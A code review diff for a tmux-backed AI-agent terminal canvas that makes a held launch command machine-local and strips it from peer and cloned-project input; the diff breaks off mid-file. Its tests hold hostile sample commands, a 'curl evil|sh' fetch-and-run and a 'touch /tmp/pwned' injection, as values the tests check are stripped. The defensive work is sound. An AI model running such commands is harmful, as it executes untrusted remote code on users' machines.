Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(security): make pendingLaunch a machine-local exec field

review2d3e54cb5331
diff --git a/CLAUDE.md b/CLAUDE.md
index 4e5fad56f..de27ec35c 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -3668,7 +3668,22 @@ command-bearing opens; this does not add a human-confirm dialog or change mobile
**Dependency edges (`--after`, 2026-07):** `open-terminal`/`open-claude`/`open-agent` accept
`--after <id,id>`, which opens the node **armed** — `data.pendingLaunch` ({after, command},
`PendingLaunch` in shared/types) holds the launch the factory built, and Canvas fires it once
- every dep reports `done`. This is what makes the canvas a DAG instead of a fan-out. Load-bearing
+ every dep reports `done`. This is what makes the canvas a DAG instead of a fan-out.
+ **`pendingLaunch` is a MACHINE-LOCAL exec field, like `shell`** (@shared/node-exec): its `command`
+ is typed into a shell once the wait is over, and `after: []` or a vanished dep counts as over, so
+ a value that arrives from outside would run a command nobody here armed. It is persisted in
+ workspace.json's `IndexEntryV3.localExec` (every ref kind: folder, SSH, local-data), NEVER in
+ `.nodeterm/project.json` or an SSH mirror (`stripSharedNodeExec`), and a file that carries one is
+ ignored on read — the one-time legacy hoist deliberately does not adopt it either (provenance
+ cannot be told apart, so an armed node written by an older build loses its held launch on
+ upgrade). On `canvas:mut` a peer's value is stripped and OUR value carried across its upserts
+ (`carryLocalNodeExec`); the reflector forwards one only between OWNER clients
+ (`CorePlatform.isOwnerClient`: the app window, a cookie-authenticated Server Edition tab — never a
+ relay peer), stamped `origin: 'core'`, which a client cannot supply and a relay tab ignores. That
+ owner→owner leg is load-bearing: it is how two Server Edition tabs agree a launch was claimed, and
+ how a headless delivery's clear reaches the browser, so nothing types it twice. Our OWN writes
+ into a background project go through `applyOwnNodeMutation` (unstripped — a cold open keeps its
+ launch, a patch to `undefined` clears it); `applyNodeMutation` is the peer path. Load-bearing
details: (1) **an unknown agent state is NOT "satisfied"** — right after a fan-out no upstream has
emitted a hook event yet, and reading "no news" as "finished" would fire every dependent
instantly; a **deleted** dep IS satisfied (it can never report); and a dep that is `done` with a
@@ -3728,7 +3743,7 @@ command-bearing opens; this does not add a human-confirm dialog or change mobile
rope drops that dep from `after` (`dropAfterDep`) and takes **nothing else** — the covered bridge
survives, because "stop waiting for it" is not "stop being able to read its work"; an emptied
list fires. Only the `open-*`/`verify` verbs write the rope, so `missingDepRopes` heals an armed
- node that has none at **project load**: `pendingLaunch` is persisted and the rope is not, so a node
+ node that has none at **project load**: `pendingLaunch` is persisted (machine-locally) and the rope is not, so a node
armed by any other path — or by a build older than this one — would otherwise hold a launch with
no arrow saying what for. All edges route through the single `floating` edge type
(`canvas/FloatingEdge.tsx`, a bezier between the MIDPOINTS of the two nodes' facing sides — one
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index acd28ce6d..e7485caa4 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -755,8 +755,13 @@ reply carries it (`queued` / `queuedIds`), because a user who cannot see the fai
orchestrator that is told "opened" both act on a session that is not there. If you add a bounded
retry anywhere, ask what the clock actually starts on and where its exhaustion becomes visible.
-**A held launch is hostile input, and a gate nobody can read stays CLOSED.** `pendingLaunch` lives
-in the git-shared `.nodeterm/project.json`, so `normalizePendingLaunch`
+**A held launch is an exec field, and a gate nobody can read stays CLOSED.** `pendingLaunch` is a
+command typed into a shell when its wait ends, so it is MACHINE-LOCAL like `shell`
+(`src/shared/node-exec.ts`): it rides workspace.json's `localExec`, never the git-shared
+`.nodeterm/project.json`, and a peer's or relay guest's value is dropped on `canvas:mut`. A write
+your renderer authors into a background project goes through `applyOwnNodeMutation`, never the
+peer path `applyNodeMutation` (which strips the launch and cannot clear one). Where a value is read
+(workspace.json is still hand-editable), `normalizePendingLaunch`
(`src/shared/pending-launch-shape.ts`) runs at both serializer seams: an `after` that is not a list
used to throw inside the canvas's dependency-signature selector. Its rule, and the rule for any new
gate you add (the `--after-pr` pull request wait is the latest): a value it cannot read turns the
@@ -804,7 +809,7 @@ an SSH ref (the same file on the host, with an offline `cache`), and a cwd-less
(`userData/inline-projects/<id>.json`, with the entry's `project` field kept as a cache for one
release so an older build still reads it). Two habits follow. **Content goes in the file; anything
this machine would legitimately disagree with another machine about — project id, viewport, default
-account, breadcrumbs, closed-session history, per-node `shell` — goes on the index entry**
+account, breadcrumbs, closed-session history, per-node `shell` and held `pendingLaunch` — goes on the index entry**
(`IndexEntryV3`), or a `git worktree add` / a second instance hands one machine's state to another.
And **`workspace.json` is one file with last-writer-wins semantics, so it may not be the only home
of any content**: that is precisely what let a second app instance erase a cwd-less canvas. Between
diff --git a/src/core/canvas-sync.pending-launch.test.ts b/src/core/canvas-sync.pending-launch.test.ts
new file mode 100644
index 000000000..4970be343
--- /dev/null
+++ b/src/core/canvas-sync.pending-launch.test.ts
@@ -0,0 +1,129 @@
+import { describe, it, expect, beforeEach, afterEach } from 'vitest'
+import { mkdtempSync } from 'fs'
+import os from 'os'
+import path from 'path'
+import { initPlatform, resetPlatformForTests, type CorePlatform } from './platform'
+import { initCanvasSync, publishCanvasMutation, stampMutation } from './canvas-sync'
+import { IPC } from '../shared/ipc'
+import type { CanvasMutation, CanvasNodeState, PendingLaunch } from '../shared/types'
+
+/**
+ * `pendingLaunch` is a machine-local exec field (@shared/node-exec): its `command` is typed into a
+ * shell once the wait is over. The reflector therefore lets it travel ONLY owner→owner (this app's
+ * window / a cookie-authenticated Server Edition tab), marked `origin: 'core'`, and strips it for
+ * every relay peer. And `origin: 'core'` is the core's alone: a client cannot supply it.
+ */
+
+const launch: PendingLaunch = { after: [], command: 'claude "hi"', attempted: true, manualOnly: true }
+const node = (id: string, extra: Partial<CanvasNodeState> = {}): CanvasNodeState =>
+ ({
+ id,
+ kind: 'terminal',
+ title: 't',
+ color: '#fff',
+ position: { x: 0, y: 0 },
+ size: { width: 10, height: 10 },
+ ...extra
+ }) as CanvasNodeState
+
+function testPlatform(owners: number[]) {
+ const sent: Array<{ to: number; m: CanvasMutation }> = []
+ let listener: ((senderId: number, ...args: unknown[]) => void) | undefined
+ let clients: number[] = []
+ const p: CorePlatform = {
+ userDataDir: mkdtempSync(path.join(os.tmpdir(), 'nodeterm-canvas-launch-')),
+ appVersion: '0.0.0-test',
+ isPackaged: false,
+ handle: () => {},
+ on: () => {},
+ handleWithSender: () => {},
+ onWithSender: (ch, fn) => {
+ if (ch === IPC.canvasMut) listener = fn
+ },
+ clientIds: () => clients,
+ isOwnerClient: (id) => owners.includes(id),
+ sendTo: (to, channel, _projectId, m) => {
+ if (channel === IPC.canvasMut) sent.push({ to, m: m as CanvasMutation })
+ },
+ broadcast: () => {},
+ openExternal: async () => {}
+ }
+ return {
+ p,
+ sent,
+ setClients: (ids: number[]) => (clients = ids),
+ cast: (senderId: number, m: unknown) => listener?.(senderId, 'p1', m)
+ }
+}
+
+let t: ReturnType<typeof testPlatform>
+const to = (id: number) => t.sent.find((s) => s.to === id)!.m as Extract<CanvasMutation, { op: 'upsert' }>
+
+beforeEach(() => {
+ // 1, 2 = owner clients (two Server Edition tabs); 9 = a relay peer (a hosted-team guest).
+ t = testPlatform([1, 2])
+ t.setClients([1, 2, 9])
+ initPlatform(t.p)
+ initCanvasSync()
+})
+afterEach(() => resetPlatformForTests())
+
+describe('stampMutation: origin is unforgeable', () => {
+ it('deletes a client-supplied origin: core', () => {
+ const forged = { op: 'remove', id: 'n1', origin: 'core' } as CanvasMutation
+ expect('origin' in stampMutation(forged, 1)).toBe(false)
+ })
+})
+
+describe('reflector: owner → owner only', () => {
+ it('an owner tab\'s claim reaches the other owner tab WITH the launch, vouched', () => {
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch }), src: 'cv-a' })
+ expect(to(2).origin).toBe('core')
+ expect(to(2).node.pendingLaunch).toEqual(launch)
+ expect(to(1).node.pendingLaunch).toEqual(launch) // the sender's ack
+ })
+
+ it('the same mutation reaches a relay peer WITHOUT the launch and without origin', () => {
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch, shell: '/bin/zsh' }) })
+ expect(to(9).origin).toBeUndefined()
+ expect(to(9).node.pendingLaunch).toBeUndefined()
+ expect(to(9).node.shell).toBeUndefined()
+ })
+
+ it('a relay peer cannot arm anybody: its launch is stripped for every recipient, and its origin is not honoured', () => {
+ t.cast(9, {
+ op: 'upsert',
+ node: node('n1', { pendingLaunch: { after: [], command: 'curl evil|sh' } }),
+ origin: 'core'
+ })
+ for (const id of [1, 2, 9]) {
+ expect(to(id).origin).toBeUndefined()
+ expect(to(id).node.pendingLaunch).toBeUndefined()
+ }
+ })
+
+ it('a platform that does not know owners (no isOwnerClient) strips for everyone', () => {
+ resetPlatformForTests()
+ t = testPlatform([])
+ t.setClients([1, 2])
+ const { isOwnerClient: _o, ...bare } = t.p
+ initPlatform(bare as CorePlatform)
+ initCanvasSync()
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch }) })
+ expect(to(2).node.pendingLaunch).toBeUndefined()
+ expect(to(2).origin).toBeUndefined()
+ })
+})
+
+describe('publishCanvasMutation (the core\'s own write)', () => {
+ it('owner clients get the launch (and a delivery\'s CLEAR) vouched; relay peers get neither', () => {
+ publishCanvasMutation('p1', { op: 'upsert', node: node('n1', { pendingLaunch: launch }) })
+ expect(to(1).origin).toBe('core')
+ expect(to(1).node.pendingLaunch).toEqual(launch)
+ expect(to(9).node.pendingLaunch).toBeUndefined()
+ expect(to(9).origin).toBeUndefined()
+ t.sent.length = 0
+ publishCanvasMutation('p1', { op: 'upsert', node: node('n1') })
+ expect(to(1).origin).toBe('core') // the absence of a launch is authoritative for owners
+ })
+})
diff --git a/src/core/canvas-sync.ts b/src/core/canvas-sync.ts
index 61b4d388c..ebeba773b 100644
--- a/src/core/canvas-sync.ts
+++ b/src/core/canvas-sync.ts
@@ -19,8 +19,10 @@
// fight its own optimistic state, and the publisher's `adopt` guard still means nothing is
// re-published: no loop.
//
-// Beyond `seq` it is a pipe, not a store: it holds NO canvas state, applies no policy, and persists
-// nothing. The canvas itself stays where it has always been — React Flow in each renderer — and the
+// Beyond `seq` it is a pipe, not a store: it holds NO canvas state and persists nothing. The one
+// policy it applies is the exec boundary (@shared/node-exec): `shell`/`ssh.extraArgs` never pass,
+// and a held launch (`pendingLaunch`) passes only from an OWNER client to owner clients, stamped
+// `origin: 'core'` (fanOutMutation). The canvas itself stays where it has always been — React Flow in each renderer — and the
// disk write stays with WorkspaceStore.
//
// NOT RATE-LIMITED, deliberately — unlike presence (see PRESENCE_RATE_BUDGETS). A presence cast is
@@ -69,9 +71,37 @@ export function reflectTargets(all: ClientId[], _sender: ClientId): ClientId[] {
export function stampMutation(m: CanvasMutation, seq: number): CanvasMutation {
const stamped: CanvasMutation = { ...m, seq }
if (!isRefId(stamped.src)) delete stamped.src
+ // `origin: 'core'` is the core's own vouching (it lets a receiver take a held launch as sent), so a
+ // client may never supply it. It is re-added below, per recipient, and only where it is true.
+ delete (stamped as { origin?: unknown }).origin
return stamped
}
+/**
+ * Deliver one stamped mutation to every client, deciding PER RECIPIENT whether the node's held launch
+ * (`pendingLaunch`, machine-local — @shared/node-exec) goes with it. Pure over the platform —
+ * exported for the test.
+ *
+ * `trusted` = the mutation came from an OWNER client or from the core itself. An owner recipient
+ * then gets it with the launch and `origin: 'core'` (so two Server Edition tabs agree on who claimed
+ * a launch — the exactly-once half); every other recipient (a relay peer, a hosted-team guest) gets
+ * it WITHOUT the launch. An untrusted mutation carries no launch to anybody: a peer cannot arm,
+ * re-arm or clear a launch on this machine.
+ */
+export function fanOutMutation(
+ p: Pick<CorePlatform, 'clientIds' | 'sendTo' | 'isOwnerClient'>,
+ projectId: string,
+ stamped: CanvasMutation,
+ trusted: boolean
+): void {
+ const vouched: CanvasMutation | null = trusted ? { ...stamped, origin: 'core' } : null
+ const stripped = sanitizeInboundMutation(stamped)
+ for (const id of p.clientIds()) {
+ const owner = p.isOwnerClient?.(id) === true
+ p.sendTo(id, IPC.canvasMut, projectId, vouched && owner ? vouched : stripped)
+ }
+}
+
/** The platform this reflector is already installed on. `on`/`onWithSender` COMPOSE on the same
* channel (ServerPlatform keeps an ordered SET per channel), so a second registration on the same
* platform would reflect every mutation twice. Keyed by platform, not a bare boolean, so a fresh
@@ -96,8 +126,10 @@ let seq = 0
export function publishCanvasMutation(projectId: string, mutation: CanvasMutation): boolean {
if (!isRefId(projectId) || !isCanvasMutation(mutation)) return false
const p = platform()
- const stamped = stampMutation(sanitizeInboundMutation(mutation), ++seq)
- for (const id of p.clientIds()) p.sendTo(id, IPC.canvasMut, projectId, stamped)
+ // The core's own write: its held launch is authoritative for owner clients (a headless delivery
+ // CLEARS it there — without that a browser would keep and re-save the stale launch).
+ const stamped = stampMutation(sanitizeInboundMutation(mutation, true), ++seq)
+ fanOutMutation(p, projectId, stamped, true)
return true
}
@@ -117,9 +149,15 @@ export function initCanvasSync(): void {
// not even reflected to the other clients: a peer must not be able to put a program name or an
// `-o ProxyCommand=…` into anybody's canvas (@shared/node-exec). Every receiver strips them
// again on apply — this is the cheap upstream half.
- const stamped = stampMutation(sanitizeInboundMutation(mutation), ++seq)
- for (const id of reflectTargets(p.clientIds(), senderId)) {
- p.sendTo(id, IPC.canvasMut, projectId, stamped)
- }
+ // A held launch (`pendingLaunch`) is kept only when the SENDER is an owner client, and then
+ // forwarded only to owner clients (fanOutMutation).
+ const fromOwner = p.isOwnerClient?.(senderId) === true
+ const stamped = stampMutation(sanitizeInboundMutation(mutation, fromOwner), ++seq)
+ fanOutMutation(
+ { clientIds: () => reflectTargets(p.clientIds(), senderId), sendTo: p.sendTo.bind(p), isOwnerClient: p.isOwnerClient?.bind(p) },
+ projectId,
+ stamped,
+ fromOwner
+ )
})
}
diff --git a/src/core/platform.ts b/src/core/platform.ts
index 6a4681f06..8fe2823f6 100644
--- a/src/core/platform.ts
+++ b/src/core/platform.ts
@@ -43,6 +43,14 @@ export interface CorePlatform {
* Electron: the main window, or none while it is closed). Lets a service address "everyone
* EXCEPT the sender", which broadcast() cannot express — see src/core/canvas-sync.ts. */
clientIds(): number[]
+ /**
+ * Is this attached UI the machine's OWNER — this app's own window (Electron), or a browser tab the
+ * Server Edition authenticated with its session cookie — as opposed to a relay peer (a teammate, a
+ * hosted-team guest)? The canvas reflector lets a node's machine-local held launch
+ * (`pendingLaunch`) travel only owner→owner (@shared/node-exec). Absent, or `false` for an id it
+ * does not know, is the safe answer: the launch is stripped.
+ */
+ isOwnerClient?(uiId: number): boolean
/** Open a URL in the user's default browser. */
openExternal(url: string): Promise<void>
}
diff --git a/src/core/workspace-files.cold-open.test.ts b/src/core/workspace-files.cold-open.test.ts
index f6d4c1900..c6edda2e5 100644
--- a/src/core/workspace-files.cold-open.test.ts
+++ b/src/core/workspace-files.cold-open.test.ts
@@ -1,41 +1,133 @@
import { describe, it, expect } from 'vitest'
-import { projectToFile, fileToProject, serializeProjectFile } from './workspace-files'
-import type { CanvasNodeState, PendingLaunch, Project } from '../shared/types'
+import {
+ projectToFile,
+ fileToProject,
+ serializeProjectFile,
+ splitWorkspace,
+ type IndexEntryV3
+} from './workspace-files'
+import type { CanvasNodeState, PendingLaunch, Project, Workspace } from '../shared/types'
/**
* Issue #338 Task 2.0, pin (c) — the DISK half of the cold-open round-trip. A `--project`-targeted
* open writes its node into the target project's serialized store with the launch command in
* `pendingLaunch: { after: [], command }`, then `writeDisk` persists it. The target project may
- * not be viewed until after an app restart, when only the file's copy exists — so the armed
- * launch has to survive `projectToFile → serialize → parse → fileToProject` or the node would
- * silently never start. The live↔store pins (a)/(b) live in
+ * not be viewed until after an app restart — so the armed launch has to survive a save → load.
+ *
+ * It survives in the MACHINE-LOCAL index (`IndexEntryV3.localExec`), never in the shared
+ * `.nodeterm/project.json`: a held launch is a command that is typed into a shell as soon as its
+ * wait is over, so a project file carrying one (a cloned repo, an SSH host's copy) would run a
+ * stranger's command on "Open folder…" (@shared/node-exec). The live↔store pins (a)/(b) live in
* `src/renderer/state/workspace.cold-open.test.ts`.
*/
-describe('cold-open pin (c): pendingLaunch survives the disk round-trip', () => {
- it('projectToFile → serialize → parse → fileToProject keeps pendingLaunch', () => {
- const pending: PendingLaunch = { after: [], command: 'claude "do the thing"' }
- const armedState: CanvasNodeState = {
- id: 'term-cold1',
- kind: 'terminal',
- position: { x: 40, y: 60 },
- size: { width: 600, height: 400 },
- title: 'Claude',
- color: '#d97757',
- group: null,
- agentId: 'claude',
- pendingLaunch: pending
- }
+const pending: PendingLaunch = { after: [], command: 'claude "do the thing"' }
+const armed: CanvasNodeState = {
+ id: 'term-cold1',
+ kind: 'terminal',
+ position: { x: 40, y: 60 },
+ size: { width: 600, height: 400 },
+ title: 'Claude',
+ color: '#d97757',
+ group: null,
+ agentId: 'claude',
+ pendingLaunch: pending
+}
+
+function roundTrip(project: Project): { file: unknown; entry: IndexEntryV3; loaded: Project } {
+ const ws: Workspace = { version: 2, activeProjectId: project.id, projects: [project] } as Workspace
+ const { index, files, dataFiles } = splitWorkspace(ws, () => 1, new Date(0).toISOString())
+ // workspace.json is JSON on disk: the index entry must survive a serialize → parse too.
+ const entry = JSON.parse(JSON.stringify(index.entries[0])) as IndexEntryV3
+ const shared =
+ (project.ssh ? entry.cache : project.cwd ? files.get(project.cwd) : dataFiles.get(project.id))!
+ const file = JSON.parse(serializeProjectFile(shared))
+ const loaded = fileToProject(file, {
+ id: entry.id,
+ ...(project.cwd ? { cwd: project.cwd } : {}),
+ ...(project.ssh ? { ssh: project.ssh } : {}),
+ localExec: entry.localExec
+ })
+ return { file, entry, loaded }
+}
+
+describe('cold-open pin (c): pendingLaunch survives a restart ON THIS MACHINE', () => {
+ it('folder project: the file carries no launch, the local index does, the load restores it', () => {
+ const { file, entry, loaded } = roundTrip({
+ id: 'project-a',
+ name: 'repoA',
+ color: '#888',
+ cwd: '/tmp/repoA',
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [armed]
+ })
+ expect(JSON.stringify(file)).not.toContain('pendingLaunch')
+ expect(JSON.stringify(file)).not.toContain('do the thing')
+ expect(entry.localExec?.['term-cold1']?.pendingLaunch).toEqual(pending)
+ expect(loaded.nodes[0].pendingLaunch).toEqual(pending)
+ })
+
+ it('SSH project: the mirrored cache carries no launch; the local entry does', () => {
+ const { file, entry, loaded } = roundTrip({
+ id: 'project-s',
+ name: 'remote',
+ color: '#888',
+ ssh: { server: { host: 'h', user: 'u' }, remoteCwd: '/srv/x' } as unknown as Project['ssh'],
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [armed]
+ })
+ expect(JSON.stringify(file)).not.toContain('pendingLaunch')
+ expect(entry.localExec?.['term-cold1']?.pendingLaunch).toEqual(pending)
+ expect(loaded.nodes[0].pendingLaunch).toEqual(pending)
+ })
+
+ it('cwd-less (local-data ref) project: same split', () => {
+ const { file, entry, loaded } = roundTrip({
+ id: 'project-inline',
+ name: 'scratch',
+ color: '#888',
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [armed]
+ })
+ expect(JSON.stringify(file)).not.toContain('pendingLaunch')
+ expect(entry.localExec?.['term-cold1']?.pendingLaunch).toEqual(pending)
+ expect(loaded.nodes[0].pendingLaunch).toEqual(pending)
+ })
+
+ it('worktree setup gate (awaitSetupGroup) survives the local round-trip', () => {
+ const gated: CanvasNodeState = { ...armed, pendingLaunch: { ...pending, awaitSetupGroup: 'g1' } }
+ const { loaded } = roundTrip({
+ id: 'project-a',
+ name: 'repoA',
+ color: '#888',
+ cwd: '/tmp/repoA',
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [gated]
+ })
+ expect(loaded.nodes[0].pendingLaunch?.awaitSetupGroup).toBe('g1')
+ })
+})
+
+describe('a project file that carries pendingLaunch contributes NOTHING', () => {
+ it('a hostile / cloned project.json: the launch is dropped on read', () => {
const project: Project = {
id: 'project-a',
name: 'repoA',
color: '#888',
cwd: '/tmp/repoA',
viewport: { x: 0, y: 0, zoom: 1 },
- nodes: [armedState]
+ nodes: []
}
- const file = projectToFile(project, 1, new Date(0).toISOString())
- const parsed = JSON.parse(serializeProjectFile(file))
- const loaded = fileToProject(parsed, { id: 'project-a', cwd: '/tmp/repoA' })
- expect(loaded.nodes[0].pendingLaunch).toEqual(pending)
+ const file = { ...projectToFile(project, 1, new Date(0).toISOString()), nodes: [armed] }
+ // Adopted folder: no machine-local entry at all.
+ const loaded = fileToProject(JSON.parse(serializeProjectFile(file)), { id: 'x', cwd: '/tmp/repoA' })
+ expect(loaded.nodes[0].pendingLaunch).toBeUndefined()
+ // An existing entry that holds exec values for OTHER fields does not bless the file's launch.
+ const withShell = fileToProject(JSON.parse(serializeProjectFile(file)), {
+ id: 'x',
+ cwd: '/tmp/repoA',
+ localExec: { 'term-cold1': { shell: '/bin/zsh' } }
+ })
+ expect(withShell.nodes[0].pendingLaunch).toBeUndefined()
+ expect(withShell.nodes[0].shell).toBe('/bin/zsh')
})
})
diff --git a/src/core/workspace-store.pending-launch.test.ts b/src/core/workspace-store.pending-launch.test.ts
new file mode 100644
index 000000000..0578631f7
--- /dev/null
+++ b/src/core/workspace-store.pending-launch.test.ts
@@ -0,0 +1,103 @@
+import { describe, it, expect, beforeEach, afterEach } from 'vitest'
+import { promises as fs } from 'fs'
+import os from 'os'
+import path from 'path'
+import { initPlatform, resetPlatformForTests } from './platform'
+import { fakePlatform } from './platform-fake'
+import { WorkspaceStore } from './workspace-store'
+import type { CanvasNodeState, PendingLaunch, Project, Workspace } from '../shared/types'
+
+/**
+ * `pendingLaunch` is machine-local (@shared/node-exec). Through the REAL store:
+ * - an armed node (a cold open into a project nobody is looking at) survives an app restart on
+ * this machine — it lives in workspace.json's `localExec`;
+ * - `.nodeterm/project.json` never carries it;
+ * - a project.json that DOES carry one (a cloned repo, or one written by an older build) is
+ * ignored, including by the one-time legacy migration.
+ */
+
+let userData: string
+let projRoot: string
+
+const launch: PendingLaunch = { after: ['dep-1'], command: 'claude "the brief"', awaitSetupGroup: 'g1' }
+const armedNode: CanvasNodeState = {
+ id: 'term-1', kind: 'terminal', position: { x: 0, y: 0 }, size: { width: 1, height: 1 },
+ title: 't', color: '#fff', group: null, pendingLaunch: launch
+}
+const project = (over: Partial<Project> = {}): Project => ({
+ id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes: [armedNode], ...over
+})
+const ws = (projects: Project[]): Workspace => ({ version: 2, activeProjectId: projects[0].id, projects })
+const projectFile = (): Promise<string> => fs.readFile(path.join(projRoot, '.nodeterm/project.json'), 'utf-8')
+
+beforeEach(async () => {
+ userData = await fs.mkdtemp(path.join(os.tmpdir(), 'nt-ws-pl-'))
+ projRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'nt-proj-pl-'))
+ initPlatform(fakePlatform({ userDataDir: userData }))
+})
+afterEach(async () => {
+ resetPlatformForTests()
+ await fs.rm(userData, { recursive: true, force: true })
+ await fs.rm(projRoot, { recursive: true, force: true })
+})
+
+describe('an armed node survives an app restart on this machine', () => {
+ it('folder project: project.json carries no launch; a FRESH store loads it back', async () => {
+ await new WorkspaceStore().save(ws([project({ cwd: projRoot })]))
+ const file = await projectFile()
+ expect(file).not.toContain('pendingLaunch')
+ expect(file).not.toContain('the brief')
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].nodes[0].pendingLaunch).toEqual(launch)
+ })
+
+ it('cwd-less project: same, through its local data file', async () => {
+ await new WorkspaceStore().save(ws([project()]))
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].nodes[0].pendingLaunch).toEqual(launch)
+ })
+
+ it('a delivered (cleared) launch stays cleared after the restart', async () => {
+ const store = new WorkspaceStore()
+ await store.save(ws([project({ cwd: projRoot })]))
+ await store.save(ws([project({ cwd: projRoot, nodes: [{ ...armedNode, pendingLaunch: undefined }] })]))
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].nodes[0].pendingLaunch).toBeUndefined()
+ })
+})
+
+describe('a project.json that carries pendingLaunch is ignored', () => {
+ async function writeFileWithLaunch(entryExtra: Record<string, unknown>): Promise<void> {
+ await fs.mkdir(path.join(projRoot, '.nodeterm'), { recursive: true })
+ await fs.writeFile(
+ path.join(projRoot, '.nodeterm/project.json'),
+ JSON.stringify({
+ version: 1, rev: 1, savedAt: new Date(0).toISOString(), id: 'x', name: 'foo', color: '#fff',
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [{ ...armedNode, pendingLaunch: { after: [], command: 'touch /tmp/pwned' } }]
+ })
+ )
+ await fs.writeFile(
+ path.join(userData, 'workspace.json'),
+ JSON.stringify({ version: 3, activeProjectId: 'p1', entries: [{ id: 'p1', name: 'foo', color: '#fff', cwd: projRoot, ...entryExtra }] })
+ )
+ }
+
+ it('an already-migrated entry (the normal case after this upgrade) does not adopt it', async () => {
+ await writeFileWithLaunch({ execMigrated: true })
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].nodes[0].pendingLaunch).toBeUndefined()
+ })
+
+ it('an unmigrated entry (the one-time legacy hoist) does not adopt it either — fail closed', async () => {
+ await writeFileWithLaunch({})
+ const store = new WorkspaceStore()
+ const loaded = await store.load()
+ expect(loaded.projects[0].nodes[0].pendingLaunch).toBeUndefined()
+ // …and the next save neither blesses it into the local index nor writes it back to the file.
+ await store.save(loaded)
+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))
+ expect(JSON.stringify(index)).not.toContain('pwned')
+ expect(await projectFile()).not.toContain('pwned')
+ })
+})
diff --git a/src/main/platform-electron.ts b/src/main/platform-electron.ts
index 8baf99f64..7fc935a9f 100644
--- a/src/main/platform-electron.ts
+++ b/src/main/platform-electron.ts
@@ -195,6 +195,8 @@ export function electronPlatform(): ElectronPlatform {
}
},
clientIds: () => [...mainWindowClientIds(), ...peerRegistry().ids()],
+ // The app's own window is the owner; every relay peer (peerRegistry) is not.
+ isOwnerClient: (id) => !peerRegistry().has(id) && mainWindowClientIds().includes(id),
openExternal: (url) => shell.openExternal(url),
// Seal / unseal node secrets at rest with the OS keychain. Byte-in byte-out, mirroring #167's
// codex-node-auth-key.json shape: encrypt the UTF-8 content of the passed buffer, decrypt back to
diff --git a/src/renderer/canvas/Canvas.tsx b/src/renderer/canvas/Canvas.tsx
index 7006c1619..7e9a9d1f9 100644
--- a/src/renderer/canvas/Canvas.tsx
+++ b/src/renderer/canvas/Canvas.tsx
@@ -632,6 +632,7 @@ import {
} from '@shared/canvas-publish'
import { createCanvasOrder, createReconnectWatch, type CanvasOrder } from '@shared/canvas-order'
import { createMutationGuard } from '@shared/canvas-mutations'
+import { withoutCoreOrigin } from '@shared/node-exec'
import { chordHeld, isHoldChord, isModifierEventKey, matchesShortcut } from '@shared/shortcut'
// The dispatch below is the CONSUMER of the confirm-gated set. Before this import the set named
@@ -3729,7 +3730,12 @@ export function Canvas() {
// mount-time local one (the bug). Byte-identical on a local tab (`activeSession.api` IS
// `window.nodeTerminal`). Re-keyed on the api OBJECT below, in lockstep with the publisher, so a
// tab switch tears down + re-binds both together (and a local→local switch does neither).
- return activeSession.api.canvas.onMutation((projectId, mutation) => {
+ // A relay tab's mutations come from ANOTHER machine's core, which can put anything on the wire,
+ // so its `origin: 'core'` vouches for nothing here: drop it, and the node's held launch stays
+ // ours (strip theirs, carry our own — @shared/node-exec).
+ const relay = activeSession.source === 'relay'
+ return activeSession.api.canvas.onMutation((projectId, received) => {
+ const mutation = relay ? withoutCoreOrigin(received) : received
hasPeersRef.current = true // proof of a peer, whatever the presence table says
if (!orderRef.current?.accept(mutation)) return
if (projectId !== useProjects.getState().activeProjectId) {
@@ -3774,7 +3780,7 @@ export function Canvas() {
setNodes(flow)
markDirty()
})
- }, [activeSession.api, setNodes, markDirty, publishableLater])
+ }, [activeSession.api, activeSession.source, setNodes, markDirty, publishableLater])
// Record an undo snapshot when the canvas settles (debounced; skips drag frames/loads).
useEffect(() => {
@@ -8432,7 +8438,7 @@ export function Canvas() {
for (const node of plan.nodes) {
useProjects
.getState()
- .applyNodeMutation(plan.projectId, {
+ .applyOwnNodeMutation(plan.projectId, {
op: 'upsert',
node: flowToNodeStates([armForColdOpen(node)])[0]
})
@@ -11679,7 +11685,7 @@ export function Canvas() {
// starts when that project's canvas is next shown (mount spawns the PTY, the
// armed-launch effect delivers with its retry loop — Task 2.0's measured round-trip).
for (const node of tgMade) {
- tgStore.applyNodeMutation(target.id, {
+ tgStore.applyOwnNodeMutation(target.id, {
op: 'upsert',
node: flowToNodeStates([withPrHold(withLaunchBrief(armForColdOpen(node), openPrompt.promptFile), prHoldPre)])[0]
})
@@ -11806,7 +11812,7 @@ export function Canvas() {
}
useProjects
.getState()
- .applyNodeMutation(route.projectId, {
+ .applyOwnNodeMutation(route.projectId, {
op: 'upsert',
node: { ...target, text: next.text, ...stamp }
})
@@ -11847,7 +11853,7 @@ export function Canvas() {
node.data.textUpdatedBy = stamp.textUpdatedBy
useProjects
.getState()
- .applyNodeMutation(route.projectId, { op: 'upsert', node: flowToNodeStates([node])[0] })
+ .applyOwnNodeMutation(route.projectId, { op: 'upsert', node: flowToNodeStates([node])[0] })
void writeDisk()
reply({ ok: true, message: `created note "${node.data.title}" (${node.id})` })
return
@@ -12070,7 +12076,7 @@ export function Canvas() {
const w = (coldMade[0]?.width as number) ?? 600
const h = (coldMade[0]?.height as number) ?? 400
const need = groupSizeFor(coldExistingInGroup + coldCount, w, h)
- coldStore.applyNodeMutation(owner.id, {
